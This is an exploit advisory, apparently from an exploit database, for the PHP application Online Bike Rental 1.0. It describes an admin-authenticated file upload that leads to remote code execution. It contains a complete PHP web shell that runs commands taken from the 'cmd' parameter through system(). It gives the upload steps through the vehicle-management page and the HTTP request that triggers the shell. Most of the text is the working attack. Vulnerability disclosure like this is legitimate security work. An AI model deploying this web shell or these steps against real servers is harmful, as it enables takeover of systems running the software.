Online Bike Rental 1.0 Shell Upload

`# Exploit Title: Online Bike Rental v1.0 – (Authenticated) Arbitrary File Upload / Remote Code Execution  
# Date: July 31, 2020  
# Exploit Author: Adeeb Shah (@hyd3sec)  
# Vendor Homepage: https:/www.sourcecodester.com  
# Software Link: https://www.sourcecodester.com/php/14374/online-bike-rental-phpmysql.html  
# Version: 1.0  
# Tested on: Windows 10 (x64_86) + XAMPP 7.4.4  
  
Online Bike Rental has an authenticated (admin) arbitrary file upload vulnerability that allows for remote code execution.  
  
1. Create a malicious PHP file with this content:  
  
<?php   
if(isset($_REQUEST[‘cmd’])){  
echo “<pre>”;  
$cmd = ($_REQUEST[‘cmd’]);  
system($cmd);  
echo “</pre>”;  
die;  
}  
?>  
  
  
2. Authenticate as admin via admin portal; navigate to manage vehicles and upload malicious php. Navigate to uploaded file path to execute php code.  
  
GET /bikerental%20PHP/bikerental/admin/img/vehicleimages/backdoor.php?cmd=whoami HTTP/1.1  
  
Host: 192.168.222.132  
  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
  
Accept-Language: en-US,en;q=0.5  
  
Accept-Encoding: gzip, deflate  
  
Connection: close  
  
Cookie: style=purple; PHPSESSID=2lpoqi5jmbeiabqemraesot9nh  
  
Upgrade-Insecure-Requests: 1  
  
  
  
`